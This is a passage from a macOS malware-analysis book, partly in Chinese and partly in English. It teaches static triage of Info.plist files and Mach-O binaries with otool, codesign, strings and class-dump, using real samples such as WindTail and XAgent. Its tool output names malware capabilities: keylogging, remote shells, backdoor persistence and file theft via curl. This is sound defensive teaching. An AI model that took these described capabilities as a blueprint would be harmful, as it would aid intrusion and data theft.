<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>14B25</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>usrnode</string>
<key>CFBundleIconFile</key>
<string>PPT3</string>
<key>CFBundleIdentifier</key>
<string>com.alis.tre</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>usrnode</string>
<key>LSMinimumSystemVersion</key>
<string>10.7</string>
...
<key>NSUIElement</key>
<string>1</string>
</dict>
</plist>
Listing 4-32:Info.plist文件(WindTail)
WindTail 的Info.plist文件以描述恶意软件编译系统的各种键值对开始。例如,BuildMachineOSBuild键的值为14B25,这是 OS X Yosemite(10.10.1)的构建编号。接下来,我们会看到CFBundleExecutable键,它指定了 macOS 在启动应用程序时需要执行的二进制文件。因此,当 WindTail 启动时,系统会从Contents/MacOS目录中执行usrnode二进制文件。这个CFBundleExecutable键值对通常是必要的,因为应用程序的二进制文件可能与应用程序的名称不匹配,或者Contents/MacOS目录中可能包含多个可执行文件。
从分析的角度来看,WindTail 的Info.plist文件中的其他键值对不太有趣,除了NSUIElement键。这个键在较新的 macOS 版本中被命名为LSUIElement,它告诉系统如果设置为 1,则在 Dock 中隐藏应用程序图标。合法的应用程序很少会设置这个键。有关应用程序Info.plist文件中键值对的更多信息,请参阅 Apple 的文档:“关于 Info.plist 键和值”。^(24)
虽然你通常会发现应用程序的Info.plist文件是以纯文本 XML 格式编写的,因此可以直接在终端或文本编辑器中读取,但 macOS 也支持二进制属性列表(plist)格式。Siggen 是一个包含此二进制格式Info.plist文件的恶意应用程序的例子(Listing 4-33):
% **file Siggen/WhatsAppService.app/Contents/Info.plist**
Siggen/WhatsAppService.app/Contents/Info.plist: Apple binary property list
Listing 4-33: 使用file识别二进制属性列表(Siggen)
要读取这种二进制文件格式,请使用 macOS 的defaults命令,并加上read命令行标志,如 Listing 4-34 所示:
% **defaults read Siggen/WhatsAppService.app/Contents/Info.plist**
{
CFBundleDevelopmentRegion = en;
CFBundleExecutable = Dropbox;
CFBundleIconFile = "AppIcon.icns";
CFBundleIdentifier = "inc.dropbox.com";
CFBundleInfoDictionaryVersion = "6.0";
CFBundleName = Dropbox;
CFBundleShortVersionString = "1.0";
CFBundleVersion = 1;
LSMinimumSystemVersion = "10.8.0";
LSUIElement = 1;
NSAppTransportSecurity = {
NSAllowsArbitraryLoads = 1;
};
NSHumanReadableCopyright = "\\U00a9 2019 Dropbox Inc.";
NSMainNibFile = MainMenu;
NSPrincipalClass = NSApplication;
}
Listing 4-34: 使用defaults命令读取二进制属性列表(Siggen)
如前所述,应用程序的Info.plist中的CFBundleExecutable键包含应用程序的主可执行组件的名称。尽管 Siggen 的应用程序名为WhatsAppService.app,但其Info.plist文件指定在启动该应用程序时应该执行一个名为Dropbox的二进制文件。
值得指出的是,除非一个应用程序已经经过公证,否则恶意应用程序的Info.plist文件中的其他值可能是具有欺骗性的。例如,Siggen 将其捆绑标识符CFBundleIdentifier设置为inc.dropbox.com,以伪装成合法的 Dropbox 软件。
一旦你浏览了Info.plist文件,你可能会将注意力转向分析CFBundleExecutable键中指定的二进制文件。通常情况下,这个二进制文件是 Mach-O 格式,它是 macOS 的本地可执行文件格式。我们将在第五章讨论这种格式。
接下来
在本章中,我们介绍了静态分析的概念,并强调了像 macOS 内置的file工具和我自己的 WYS 工具,如何识别文件的真实类型。这是一个重要的初步分析步骤,因为许多静态分析工具是特定于文件类型的。然后我们检查了在分析 Mac 恶意软件时常遇到的各种非二进制文件类型。对于每种文件类型,我们讨论了其用途,并突出了你可以用来分析文件格式的静态分析工具。
然而,本章仅关注非二进制文件格式的分析,如分发介质和脚本。虽然许多 Mac 恶意软件样本是脚本,但大多数是编译成 Mach-O 二进制文件。在下一章,我们将讨论这种二进制文件格式,并探索二进制分析工具和技术。
结束语
第五章:二进制筛查

在上一章中,我介绍了静态分析工具和技术,并将它们应用于各种非二进制文件格式,如分发介质和脚本。在本章中,我们将继续讨论静态分析,重点关注苹果的本地可执行文件格式——久负盛名的 Mach 对象文件格式(Mach-O)。由于大多数 Mac 恶意软件都被编译成 Mach-O 格式,因此所有 Mac 恶意软件分析师都应了解这些二进制文件的结构,因为至少这将帮助你区分良性和恶意文件。
Mach-O 文件格式
与所有二进制文件格式一样,分析和理解 Mach-O 文件需要特定的分析工具,通常最终需要使用二进制反汇编器。可执行二进制文件格式相当复杂,而 Mach-O 也不例外。好消息是,你只需对该格式有基本了解,以及一些相关概念,就足够用于恶意软件分析。如果你有兴趣深入了解该格式,可以参考苹果的详细开发者文档和 SDK 文件,或者阅读“解析 Mach-O 文件”的文章。^(1)
从基本层面来看,Mach-O 文件由三个连续的部分组成:头部、加载命令和数据(图 5-1)。

图 5-1:Mach-O 二进制文件布局
头部将文件标识为 Mach-O 格式,并包含有关二进制文件的其他元数据,而加载命令包含动态加载器用于将二进制文件加载到内存中的信息。紧随其后的是二进制文件的实际指令、变量和其他数据。我们将在以下章节中详细介绍这些部分。
头部
Mach-O 文件以 Mach-O 头部 开头,该头部将文件标识为 Mach-O 格式,并指定目标 CPU 架构和 Mach-O 二进制文件类型。头部还包含加载命令的数量和大小。
Mach-O 头部是 mach_header_64 类型的结构体,或者对于 32 位二进制文件,使用 mach_header,它在苹果的开发者 SDK 文件中定义,mach-o/loader.h(Listing 5-1)。
struct mach_header_64 {
uint32_t magic; /* mach magic number identifier */
cpu_type_t cputype; /* cpu specifier */
cpu_subtype_t cpusubtype; /* machine specifier */
uint32_t filetype; /* type of file */
uint32_t ncmds; /* number of load commands */
uint32_t sizeofcmds; /* the size of all the load commands */
uint32_t flags; /* flags */
uint32_t reserved; /* reserved */
};
Listing 5-1:mach_header_64 结构体
虽然苹果的注释简洁地描述了 mach_header_64 结构体中的每个成员,但让我们更仔细地看看与恶意软件分析相关的部分。首先是 magic 成员,它包含一个 32 位值,用于标识文件为 Mach-O 二进制文件。对于 64 位二进制文件,该值将设置为 MH_MAGIC_64 常量(在 loader.h 中定义),其十六进制值为 0xfeedfacf。对于旧的 32 位二进制文件,苹果的 SDK 文件指定了其他值作为这个魔术常量,但在分析现代 Mac 恶意软件时,你不太可能遇到这些值。
The `cputype` member of the structure specifies the CPU architecture that is compatible with Mach-O binary. You’ll likely encounter constants such as `I386`, `X86_64`, or `ARM64`. The `filetype` member describes the type of Mach-O binary. It can have several possible values, including `MH_EXECUTE` (0x2), which identifies a standard Mach-O executable; `MH_DYLIB` (0x6), which identifies a Mach-O dynamic linked library; and`MH_BUNDLE` (0x8), which identifies a Mach-O bundle. As the vast majority of malicious Mach-O binaries are standalone executables, their type will be the former: `MH_EXECUTE`. Next in the `mach_header_64` structure are members that describe both the number and size of load command, which we’ll describe shortly. The `otool` utility can be used to parse Mach-O binaries. For example, to dump the header of a Mach-O binary, execute it with the `-h` flag. You can also specify the `-v` flag to instruct `otool` to display constants rather than their raw numerical values (Listing 5-2). ``` % **otool -hv Final_Presentation.app/Contents/MacOS/usrnode** Mach header magic cputype cpusubtype filetype ncmds sizeofcmds MH_MAGIC_64 X86_64 ALL EXECUTE 23 3928 ``` Listing 5-2: Viewing a Mach-O header with `otool` (WindTail) As you can see, the WindTail malware is a standard Mach-O binary, compatible with 64-bit Intel CPUs. If you prefer a GUI interface, MachOView is a user-friendly utility capable of parsing Mach-O files, including WindTail (Figure 5-2).^(2)  Figure 5-2: Viewing a Mach-O header with MachOView (WindTail) Note that a Mach-O binary contains code and data for one architecture only. To create a single binary that can execute on systems with different architectures (like Intel 64-bit and Apple Silicon arm64), developers can wrap multiple Mach-O binaries in a universal, or *fat*, binary. For example, Pirrit, the first malware known to natively run on Apple Silicon, is compiled as a universal binary. As shown in Listing 5-3, it was distributed as an application (named GoSearch22), natively supporting both Intel and ARM CPUs. ``` % **file GoSearch22.app/Contents/MacOS/GoSearch22** GoSearch22: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64] GoSearch22 (for architecture x86_64): Mach-O 64-bit executable x86_64 GoSearch22 (for architecture arm64): Mach-O 64-bit executable arm64 ``` Listing 5-3: A universal binary (Pirrit) Universal binaries start with a header (`fat_header`), a variable number of `fat_arch` structures that describe the supported architectures, and then the architecture-specific Mach-O binaries concatenated together. You can dump the `fat_header` by using the `otool` utility with the `-f` flag. In Listing 5-4 you can see that Pirrit’s fat header starts with the `FAT_MAGIC` constant (the hex value `0xcafebabe`). Following this are the two `fat_arch` structures for the architectures it natively supports, Intel x86_64 and ARM arm64\. The `offset` member of the structure tells the loader where to find the architecture-specific Mach-O binary. ``` % **otool -fv GoSearch22.app/Contents/MacOS/GoSearch22** Fat headers fat_magic FAT_MAGIC nfat_arch 2 architecture x86_64 cputype CPU_TYPE_X86_64 cpusubtype CPU_SUBTYPE_X86_64_ALL offset 4096 size 414368 ... architecture arm64 cputype CPU_TYPE_ARM64 cpusubtype CPU_SUBTYPE_ARM64_ALL offset 425984 size 521632 ... ``` Listing 5-4: Viewing a fat header with `otool` `-f` (Pirrit) When a universal binary is run, the operating system automatically selects the architecture compatible with the host. For example, when Pirrit is run on a 64-bit Intel system, the x86_64 Mach-O version of the binary (which you’ll recall is embedded directly within the universal binary) is run. The embedded architecture-specific binaries should be functionally identical, so as a malware analyst, you may choose whichever architecture you’re more comfortable with analyzing, or whichever Mach-O binary will run on your analysis system. To extract an architecture-specific Mach-O binary from a universal binary, use macOS’s `lipo` tool. (Yes, clearly Apple engineers have some humor.) Run it with the `-thin` flag and the architecture you’d like to extract. For example, in Listing 5-5 we extract the Intel version of the Pirrit variant from its universal binary. And for good measure, we also confirm this architecture-specific extraction with the `file` utility. ``` % **lipo GoSearch22.app/Contents/MacOS/GOSearch22 -thin x86_64 -output GoSearch22_INTEL** % **file GoSearch22_INTEL** GoSearch22_INTEL: Mach-O 64-bit executable x86_64 ``` Listing 5-5: Extracting a Mach-O from a universal binary with `lipo` (Pirrit) ### The Load Commands Directly following the Mach-O header are the binary’s *load commands*, which tell the dynamic loader (dyld) how to load and link the binary in memory. Among other information, the load commands can specify required dynamic libraries, the binary’s in-memory layout, and the initial execution state of the program’s main thread. You can view a Mach-O binary’s load commands with `otool` using the `-l` flag (Listing 5-6). ``` % **otool -lv Final_Presentation.app/Contents/MacOS/usrnode** ... Load command 1 cmd LC_SEGMENT_64 cmdsize 952 segname __TEXT vmaddr 0x0000000100000000 vmsize 0x0000000000013000 fileoff 0 filesize 77824 maxprot rwx initprot r-x nsects 11 flags (none) ... ``` Listing 5-6: Viewing load commands with `otool` (WindTail) Listing 5-6 shows a load command describing the `__TEXT` segment, which contains executable binary instructions. Load commands all begin with a `load_command`structure, defined in *mach-o/loader.h*. The `cmd` member describes the type of load command, while you’ll find the size of the load command in `cmdsize` (Listing 5-7). ``` struct load_command { uint32_t cmd; /* type of load command */ uint32_t cmdsize; /* total size of command in bytes */ }; ``` Listing 5-7: The `load_command` structure (Pirrit) Immediately after this `load_command` structure is the corresponding load command’s data, which is specific to the type of load command (Figure 5-3).  Figure 5-3: The layout of a load command As we’re covering the Mach-O file format for the purpose of malware analysis, we won’t cover all supported load commands. However, several are quite pertinent, and we’ll review those here. #### LC_SEGMENT_64 One common type of load command is `LC_SEGMENT_64` **(**or `LC_SEGMENT` for 32-bit binaries), which describes a *segment*.For a given range of bytes in a Mach-O binary, a segment provides required information for the loader, such as the memory protections those bytes should have when mapped into virtual memory. `LC_SEGMENT_64` load commands contain all the relevant information for the dynamic loader to map the segment into memory and set its memory permissions. You’ll likely encounter, amongst others, the following three segments while analyzing Mach-O binaries: * `__TEXT`: Contains executable code and data that is read-only * `__DATA`: Contains data that is writable * `__LINKEDIT`: Contains information for the dynamic loader, for both linking and binding symbols If the binary was written in Objective-C, it may have an `__OBJC` segment that contains information used by the Objective-C runtime, though this information might also be found in the `__DATA` segment within various `__objc_*` sections. Segments can contain multiple sections, each containing code or data of the same type. Once a binary is loaded into memory (by the dynamic loader), execution begins at the binary’s entry point. The entry point is found in the `LC_MAIN` load command, discussed next. #### LC_MAIN The `LC_MAIN` load command is a structure of type `entry_point_command` (Listing 5-8): ``` struct entry_point_command { uint32_t cmd; /* LC_MAIN only used in MH_EXECUTE filetypes */ uint32_t cmdsize; /* 24 */ uint64_t entryoff; /* file (__TEXT) offset of main() */ uint64_t stacksize; /* if not zero, initial stack size */ }; ``` Listing 5-8: The `entry_point_command` structure For the purposes of malware analysis, the most important member in the `entry_point_command` structure is `entryoff`, which contains the offset of the binary’s entry point. At load time, the dynamic loader simply adds this value to the in-memory base of the binary, and then jumps to this instruction to begin execution of the binary’s code.^(3) Often, when performing a detailed analysis of a malicious binary, analysis will begin at this location. The `LC_MAIN` load command replaces the deprecated `LC_UNIXTHREAD` load command, which you might still come across if you’re analyzing older Mach-O binaries. The `LC_UNIXTHREAD` load command contains the entire context, or register values, of the initial thread. In this context, the program counter register contains the address of the binary’s initial entry point. Lastly, a Mach-O binary can contain one or more constructors that will be executed *before* the address specified in `LC_MAIN`. The offsets of any constructors are held in the `__mod_init_func` section of the `__DATA_CONST` segment. More on this topic shortly, but be aware when analyzing Mac malware that execution may begin within such a constructor, *prior to* the binary’s main entry point (`LC_MAIN`). #### LC_LOAD_DYLIB The `LC_LOAD_DYLIB` load command describes a dynamic library dependency, and it instructs the dynamic loader to load and link a certain library. You’ll find an `LC_LOAD_DYLIB`load command for each library the Mach-O binary requires. This load command is a structure of type `dylib_command`, which itself contains a `dylib` structure that describes the dynamic library (Listing 5-9). ``` struct dylib_command { uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ uint32_t cmdsize; /* includes pathname string */ struct dylib dylib; /* the library identification */ }; struct dylib { union lc_str name; /* library's path name */ uint32_t timestamp; /* library's build time stamp */ uint32_t current_version; /* library's current version number */ uint32_t compatibility_version; /* library's compatibility vers number */ }; ``` Listing 5-9: The `dylib_command` and `dylib` structures You can parse a Mach-O binary’s `LC_LOAD_DYLIB` load command in order to view the binary’s dependencies. To do so, use the `otool` utility with the `-L` flag or MachOView. From a malware analysis point of view, a binary’s `LC_LOAD_DYLIB` load commands can shed insight into the capabilities of the malware. For example, a binary that contains an `LC_LOAD_DYLIB` load command that references the `DiskArbitration` library may be interested in low-level access to disks, perhaps to monitor USB drives and exfiltrate files from them. A dependency on the `AVFoundation` library may indicate that the malware will capture audio and video from infected systems. Note that you should closely examine a binary’s dependencies, too, as one of these dependent libraries could be malicious. For example, in late 2021, malware known as ZuRu was discovered, spreading via legitimate application binaries that had been surreptitiously trojanized by the addition of a new dependency. In the following `otool` output, the final dependency, *libcrypto.2.dylib* is actually the ZuRu malware (Listing 5-10): ``` % **otool -L iTerm.app/Contents/MacOS/iTerm2** /usr/lib/libaprutil-1.0.dylib /usr/lib/libicucore.A.dylib /usr/lib/libc++.1.dylib ... /usr/lib/libz.1.dylib @executable_path/../Frameworks/libcrypto.2.dylib ``` Listing 5-10: Dependencies of a trojanized iTerm application (ZuRu) The malware author added this dynamic library to what is otherwise a legitimate version of the iTerm application. The now trojanized application had been re-signed, arousing suspicions; later, comparing it to a pristine version of iTerm revealed the additional, malicious dependency. If you’re interested in learning more about this attack, see my write-up “Made in China: OSX.ZuRu.”^(4) ### The Data Segment Following the load commands is the rest of the Mach-O binary, which largely consists of the actual binary code. This data is organized into the segments described by the `LC_SEGMENT_64`load commands. These segments can contain multiple sections, each of which contains code or data of the same type. For example, the aforementioned `__TEXT` segment contains executable code and data that is read-only. Common sections within this segment may include * `__text`: Compiled binary code * `__const`: Constant data * `__cstring`: String constants On the other hand, the `__DATA` segment contains data that is writeable. A few of the more common sections within this segment include * `__data`: Global variables (those that have been initialized) * `__bss`: Static variables (those that have not been initialized) * `__objc_*` (`__objc_classlist`, `__objc_protolis`): Information used by the Objective-C runtime Now that you have an elementary understanding of the Mach-O file format, let’s focus our attention on tools and techniques that aim to answer the question forever faced by malware analysts: Is a given Mach-O binary malicious? ## Classifying Mach-O Files Generally speaking, the first goal of malware analysis is to classify a sample as either benign, malicious but known, or malicious and previously unknown. If a sample turns out to be benign, then hooray: you’re done! In the context of malware analysis, there is generally no point to continue analyzing a legitimate and benign piece of software. If a sample is malicious but known, you’re likely done as well, unless you’re analyzing the sample for educational purposes, because other researchers who have studied the sample will often have published analysis reports. However, if you determine the sample is malicious and appears to either be a new variant or an entirely new specimen, the fun begins! Time for a deeper analysis. The ability to classify samples efficiently is key to your success. I speak from experience when I say that spending several days analyzing a sample only to find out it is a well-known piece of malware can be frustrating. Due to their readability, it is often quite easy to classify scripts and other nonbinary file formats as either benign or malicious. On the other hand, classifying and analyzing binary files, such as Mach-Os, often requires the use of specific analysis tools. A fundamental understanding of the binary’s file format helps as well. To effectively classify a Mach-O binary as malicious or benign, you can start by extracting and analyzing various file attributes, such as hashes, code-signing information, and embedded strings. If you can’t determine if a sample is benign or malicious by using these elementary tools and techniques, you may require more comprehensive tools, such as a disassembler, which we’ll cover in Chapter 6. ### Hashes One of the simplest ways to determine if a Mach-O binary is known to be benign or malicious is to compute and look up its hash online. Public repositories of malware most commonly use the hashing algorithm MD5 or the SHA family of hashing algorithms. As macOS ships with built-in utilities for computing such hashes, it’s trivial to determine the hashes of any sample. In Listing 5-11, we use these tools (`md5` and `shasum`), to generate both the MD5 and SHA-1 hash of a Mach-O binary called *usrnode* found within a suspicious application bundle: ``` % **md5 Final_Presentation.app/Contents/MacOS/usrnode** MD5 (usrnode) = c68a856ec8f4529147ce9fd3a77d7865 % **shasum -a 1 Final_Presentation.app/Contents/MacOS/usrnode** 758f10bd7c69bd2c0b38fd7d523a816db4addd90 usrnode ``` Listing 5-11: Computing hashes with `md5` and `shasum` (WindTail) If you’re more comfortable using a GUI utility, the WYS tool introduced in Chapter 4 can compute MD5 and various SHA-* hashes of files. Once you’ve determined the binary’s hash, look it up online. For example, searching for *usrnode*’s MD5 hash readily confirms the binary is indeed the WindTail malware (Figure 5-4).  Figure 5-4: Leveraging Google to identify a malicious file from its hash (WindTail) Searching for this same hash on VirusTotal ([`www.virustotal.com/`](https://www.virustotal.com/)), a free online antivirus scanning portal with a large collection of scan results, also confirms this identification (Figure 5-5).  Figure 5-5: Leveraging VirusTotal to identify a malicious file from its hash (WindTail) If the goal was to simply classify the binary as benign or malicious, we’ve just accomplished this via the binary’s hash. Moreover, by its hash alone, we were able to confirm the identity of the malware as WindTail. We should note that hashes are quite brittle, as any change to a file will result in a completely different hash. As such, if a malware author modifies even a single bit in the binary, you may find no online hash matches. Thus, if you don’t find a hash match, don’t use this fact to classify the file as non-malicious! Instead, turn to other analysis tools and techniques. I’ve noted that hashes can also be helpful in classifying a binary as benign. The idea is roughly the same: compute the hash and search for it online (or in various “goodware” collections as such as NIST’s National Software Reference Library^(5)). If it’s found and identified by a trusted source as a benign binary, more than likely it is. However, there’s a better way to ascertain if a binary should be trusted: examining its code-signing information. ### Code-Signing Information Due to macOS security mechanisms such as Gatekeeper and notarization requirements, most software on macOS is now signed. This allows users (and malware analysts) to confirm that the software has come from a known source and has not been modified. In the context of malware analysis, relevant *code-signing information* includes the status of the signing certificate, code-signing authorities, and the team identifier. A signing certificate in poor standing (for example, one that has been revoked) is a likely indicator of misuse. *Code-signing authorities* describe the chain of signers, which can provide insight into the origin and trustworthiness of the signed item. Finally, the optional *team identifier* specifies the team or company that created the signed item. In the case where the team identifier specifies a known and reputable company, this expresses trustworthiness of a signed item. On the other hand, if a signed item proves to be malicious, a team identifier can be used to tie it to, or even uncover, unrelated malware created by the same attackers. By extracting the code-signing information of signed Mach-O binaries, you may be able to quickly verify that an unknown binary is benign. For example, if a binary is signed by Apple proper (“Apple Code Signing Certification Authority”), you can rest assured that the binary is not malicious. On the other hand, if a binary is unsigned or claims to be from a well-established company but isn’t signed by that company, you have cause for further analysis. As an example of the latter, the CreativeUpdate malware that propagated via a trojanized Firefox application was signed not by Mozilla but instead with a personal Apple developer identifier fraudulently obtained by the malware authors. Like with hashes, you can research code-signing information online and in some cases match unknown files to known malware. For example, searching for the aforementioned *usrnode* binary’s code-signing team identifier quickly brings up results associated with the WindShift malware family that includes WindTail (Figure 5-6).  Figure 5-6: Leveraging Google to identify a malicious file via its code-signing team identifier (WindTail) Finally, if a Mach-O binary is signed but Apple has revoked its certificate, you should treat this as a rather massive red flag, and it almost certainly indicates that the binary is malicious. You can extract code-signing information from a Mach-O binary with Apple’s `codesign` utility using the `-dvv` flags (Listing 5-12). ``` % **codesign -dvv Final_Presentation.app/Contents/MacOS/usrnode** Executable=Final_Presentation.app/Contents/MacOS/usrnode Identifier=com.alis.tre Format=app bundle with Mach-O thin (x86_64) 1 Authority=(unavailable) TeamIdentifier=95RKE2AA8F ... ``` Listing 5-12: Viewing code-signing information for a self-signed file with `codesign` (WindTail) As you can see, this WindTail sample is signed but has no signing authorities 1. This indicates that the sample is self-signed, and self-signed binaries are rarely legitimate. By contrast, take a look at the following legitimate Mach-O binary for Apple’s built-in Calculator application. The `codesign` output shows the full signing authority chain (Listing 5-13). ``` % **codesign -dvv Calculator.app** Executable=Calculator.app/Contents/MacOS/Calculator 1 Identifier=com.apple.calculator Format=app bundle with Mach-O universal (x86_64 arm64e) 2 Authority=Software Signing Authority=Apple Code Signing Certification Authority Authority=Apple Root CA ... ``` Listing 5-13: Viewing code-signing information for an Apple application with `codesign` Legitimate Apple platform binaries will contain an identifier that is prefixed with `com.apple` 1 and be signed with a code-signing authority chain, as shown in Listing 5-13 2. Signed third-party applications should have a binary signed with an Apple Developer ID. In Listing 5-14, note the Developer ID for the Microsoft Word application, which confirms it indeed was created and signed by Microsoft. ``` % **codesign -dvv Microsoft/Applications/Microsoft Word.app** Executable=Microsoft Word.app/Contents/MacOS/Microsoft Word Identifier=com.microsoft.Word ... Authority=Developer ID Application: Microsoft Corporation (UBF8T346G9) Authority=Developer ID Certification Authority Authority=Apple Root CA TeamIdentifier=UBF8T346G9 ... ``` Listing 5-14: Viewing code-signing information for a third-party application with `codesign` However, as the majority of Mac malware is signed with an Apple developer identifier, don’t assume a binary is benign if it is signed in this manner. Instead, examine the code-signing authority, and if provided, the team identifier. In Listing 5-14, the application is validly signed with an Apple developer identifier and contains a team identifier, both of which belong to Microsoft, so you can be confident that the application was created by Microsoft, and thus is not malicious. As discussed in Chapter 1, Apple recently introduced notarization requirements on software distributed by third-party developers via the internet. As Apple will only notarize items that it has scanned and decided are not malicious, checking if an item is notarized (or not!) can help you decide if an item is benign or malicious. Moreover, the vast majority of legitimate third-party software should be notarized, whereas malware (in theory) will not be. To check if an item is notarized, use the `codesign` utility with the `--test-requirement="=notarized"` and `--verify` command line arguments, or the `spctl` utility.^(6) In Listing 5-15, we use the latter to confirm that the Microsoft Word application is indeed notarized. ``` % **spctl -a -v /Applications/Microsoft Word.app** /Applications/Microsoft Word.app: accepted source=Notarized Developer ID ``` Listing 5-15: Viewing the notarization status of a file via `spctl` A word of caution: in rare cases, Apple has inadvertently notarized malicious code!^(7) Don’t solely rely on the notarization status of an item when classifying it as either malicious or benign. Finally, `codesign` will simply display `code object is not signed at all` for unsigned Mach-O binaries. As most legitimate software is now signed and notarized, unsigned code should be treated as somewhat suspect until a comprehensive analysis has confirmed otherwise. I mentioned earlier that if Apple has revoked the code-signing certificate used to sign a Mach-O, this likely means that Apple deemed the binary to be malicious. Using the `codesign` utility with the `-v` command line flag, you can check the status of a binary’s code-signing certificate. If a certificate has been revoked, the utility will display `CSSMERR_TP_CERT_REVOKED`. As an example, let’s examine the code-signing information for the WindTail binary, noting that the code-signing certificate has now been revoked (Listing 5-16): ``` % **codesign -v Final_Presentation.app/Contents/MacOS/usrnode** Final_Presentation.app/Contents/MacOS/usrnode: CSSMERR_TP_CERT_REVOKED ``` Listing 5-16: Viewing the certificate status of a file with `codesign` (WindTail) You can also use the WYS tool to extract code-signing information. Code-signing is an important but involved topic. To learn more, see “Code Signing—Hashed Out” and “macOS Code Signing In Depth.”^(8) ### Strings Though the Mach-O file format isn’t directly readable by mere mortals, you might still find nonbinary data within it, such as strings or sequences of printable characters. Using the aptly named `strings`utility, you can easily extract such embedded strings from a compiled Mach-O binary, whether they be method or function names, debug or error messages, or hardcoded paths and URLs. These strings can provide valuable insight into the capabilities of the binary being analyzed. When extracting strings from a binary, always run `strings` with the `-` flag to instruct the utility to scan the entire file. Otherwise `strings` will scan only certain sections. Also, the `strings` utility can only scan for ASCII strings, so it might miss Unicode strings. For that reason, you might instead use a Unicode-aware utility, such as FLOSS.^(9) By design, the `strings` utility is fairly simple; all it does is display sequences of printable characters. As such, it will output many random sequences of binary values that just happen to be printable, and you’ll have to sift through the results to find strings of interest. Listing 5-17 shows part of the output from `strings` when run on WindTail’s *usrnode* binary: ``` % **strings - Final_Presentation.app/Contents/MacOS/usrnode** ... 1 GenrateDeviceName m_ComputerName_UserName m_uploadURL 2 BouCfWujdfbAUfCos/iIOg== Bk0WPpt0IFFT30CP6ci9jg== RYfzGQY52uA9SnTjDWCugw== XCrcQ4M8lnb1sJJo7zuLmQ== 3J1OfDEiMfxgQVZur/neGQ== Nxv5JOV6nsvg/lfNuk3rWw== Es1qIvgb4wmPAWwlagmNYQ== 3 /usr/bin/zip /usr/bin/curl ``` Listing 5-17: Extracting embedded strings with `strings` (WindTail) In this output, we find function names and variables that, based on their names, appear to be related to survey logic 1. Following this are base64-encoded strings, likely obfuscated to hide some sensitive content 2. Finally, we find paths to various macOS utilities (used to compress and upload or download files) 3. Solely based on strings embedded within the binary, it seems likely the malware is designed to survey and steal files from an infected system. In fact, if we search online for some of the more unique strings, such as the misspelled `GenrateDeviceName`, we find a detailed report on WindTail (created by the WindShift APT group) confirming its file exfiltration capabilities (Figure 5-7).  Figure 5-7: Leveraging Google to identify malware via embedded strings (WindTail) Before wrapping up our discussion of the `strings` utility, it is important to note that malware authors can, of course, spoof or obfuscate embedded strings (such as variable and method names) in an attempt to thwart or mislead an initial triage. Thus, any conclusions solely based on embedded strings should be validated with other analysis methods or tools, such as via a disassembler. ### Objective-C Class Information The majority of Mach-O malware is written in Objective-C. Why is this a good thing for malware analysts? Simply put, programs written in Objective-C retain their class declarations when compiled into binaries. These class declarations include the name and type of the class, the class methods, and the class instance variables. This means we can extract the names the author used when writing the malware from the compiled binary. Similar to embedded printable strings, these provide valuable insight into many aspects of the malware, such as its capabilities. Moreover, we can extract this information efficiently, without having to understand any binary code! Objective-C class information will show up in the output of the aforementioned `strings` command. However, the tools mentioned in this section are specifically designed to extract and reconstruct embedded Objective-C class information and provide a representation far closer to the original source code. One proven favorite is the `class-dump` utility created by Steve Nygard.^(10) Here, for example, we use `class-dump` to extract class information from HackingTeam’s persistent Mac backdoor, Crisis (Listing 5-18): ``` % **class-dump RCSMac.app** ... @interface __m_MCore : NSObject { NSString *mBinaryName; 1 NSString *mSpoofedName; } - (BOOL)getRootThroughSLI; - (BOOL)isCrisisHookApp:(id)arg1; - (BOOL)makeBackdoorResident; - (void)renameBackdoorAndRelaunch; @end ``` Listing 5-18: Reconstructing embedded class information with `class-dump` (Crisis) Without having to understand the syntax of Objective-C class declarations, we can consider instance variables and method names alone to ascertain that this binary is likely malicious and gain insight into its logic. For example, based on the method names `getRootThroughSLI` and `makeBackdoorResident`, it is likely that the malware attempts to elevate its privileges to root and persist a backdoor component (perhaps with a spoofed name 1). The output from `class-dump` can also provide valuable input for more involved analysis methods, such as disassembling or debugging the binary. For example, if we’re attempting to figure out how Crisis persists, it would seem prudent to begin our analysis with the method named `makeBackdoorResident`. Another malware specimen that readily spills its secrets to `class-dump` is the Russian XAgent (Listing 5-19): ``` % **class-dump XAgent** @interface MainHandler : NSObject ... - (void)sendKeyLog:(id)arg1; - (void)takeScreenShot; - (void)execFile; - (void)remoteShell; - (void)getProcessList; @end ``` Listing 5-19: Reconstructing embedded class information with `class-dump` (XAgent) Based on method names alone, we can extrapolate the malware’s likely features and capabilities. Of course, you should confirm this through other analysis tools or methods. ## “Nonbinary” Binaries In the next chapter we’ll dive into “hardcore” binary analysis, such as using a disassembler to read assembly code. However, there are times when you can avoid this rather time-consuming and complex approach altogether. In some instances, the binary under analysis is actually a container for what is normally nonbinary code, like a Python script. The main reason authors package nonbinary malware into native macOS binaries or applications is to facilitate distribution and user-assisted infection. Imagine that a malware author has written a cross-platform backdoor in Python. To target macOS users, it makes a lot of sense to wrap the Python code into an application natively supported by the operating system. As all Mac users are familiar with applications, they may be more easily tricked into running the malicious script with a single double-click. On the other hand, if the author distributed the malware as a raw Python script, the average user would be confused and probably unable to run the malware, even if they wanted to. ### Identifying the Tool Used to Build the Binary Some tools used to build binaries and applications from nonbinary components include: * **Appify:** Packages shell scripts into macOS applications by wrapping them into a bare-bones application bundle and setting the script as the application’s main executable. An example of malware that appears to have been built with Appify is Shlayer.^(11) * **Platypus:** Packages shell scripts into macOS applications by wrapping them in an application bundle and including an app binary that runs the script. Examples of malware built with Platypus include Eleanor and CreativeUpdate.^(12) * **PyInstaller:** Packages Python scripts into executables. An example of malware built with PyInstaller is GravityRAT.^(13) * **Electron:** Creates applications using web technologies, including JavaScript, HTML, and CSS. Examples of malware built with Electron include certain variants of GravityRAT and ElectroRAT.^(14) Shortly we’ll look at malware samples that abused these legitimate packaging tools and frameworks and you’ll see how to extract their original nonbinary components. Once these components have been extracted, analysis often becomes rather straightforward, as the nonbinary code is human-readable. First, though, you may be wondering how, given an arbitrary binary, you can determine if it was created with one of these tools, and if so, which one. After all, the extraction procedures are specific to the method used to build or package it up. Fortunately, once you know what to look for, determining this information is easy. If an application was created via Appify, it will not contain an *Info.plist* 